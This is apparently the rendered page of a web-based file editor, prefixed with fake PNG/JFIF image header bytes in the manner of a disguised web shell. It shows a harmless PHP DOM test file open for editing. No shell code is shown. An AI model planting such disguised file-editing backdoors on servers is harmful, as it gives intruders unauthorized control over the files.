�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FSRC%2F'>SRC</a>/<a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2F'>php-8.4.5</a>/<a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2Fext%2F'>ext</a>/<a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2Fext%2Fdom%2F'>dom</a>/<a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2Fext%2Fdom%2Ftests%2F'>tests</a>/<a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2Fext%2Fdom%2Ftests%2Fdelayed_freeing%2F'>delayed_freeing</a>/</p><hr><h3>✏️ Editing: namespace_definition_crash.phpt</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>--TEST--
Delayed freeing namespace definition should not crash
--EXTENSIONS--
dom
--FILE--
&lt;?php
$doc = new DOMDocument;
$doc-&gt;appendChild($doc-&gt;createElement(&#039;container&#039;));
$child = $doc-&gt;documentElement-&gt;appendChild($doc-&gt;createElementNS(&#039;some:ns&#039;, &#039;child&#039;));
$child_child = $child-&gt;appendChild($doc-&gt;createElementNS(&#039;some:ns&#039;, &#039;x&#039;));

echo $doc-&gt;saveXML();

$child-&gt;remove();
echo $doc-&gt;saveXML();

unset($child);
var_dump($child_child-&gt;namespaceURI);
?&gt;
--EXPECT--
&lt;?xml version=&quot;1.0&quot;?&gt;
&lt;container&gt;&lt;child xmlns=&quot;some:ns&quot;&gt;&lt;x/&gt;&lt;/child&gt;&lt;/container&gt;
&lt;?xml version=&quot;1.0&quot;?&gt;
&lt;container/&gt;
string(7) &quot;some:ns&quot;
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2Fext%2Fdom%2Ftests%2Fdelayed_freeing'>🔙 Back</a></p>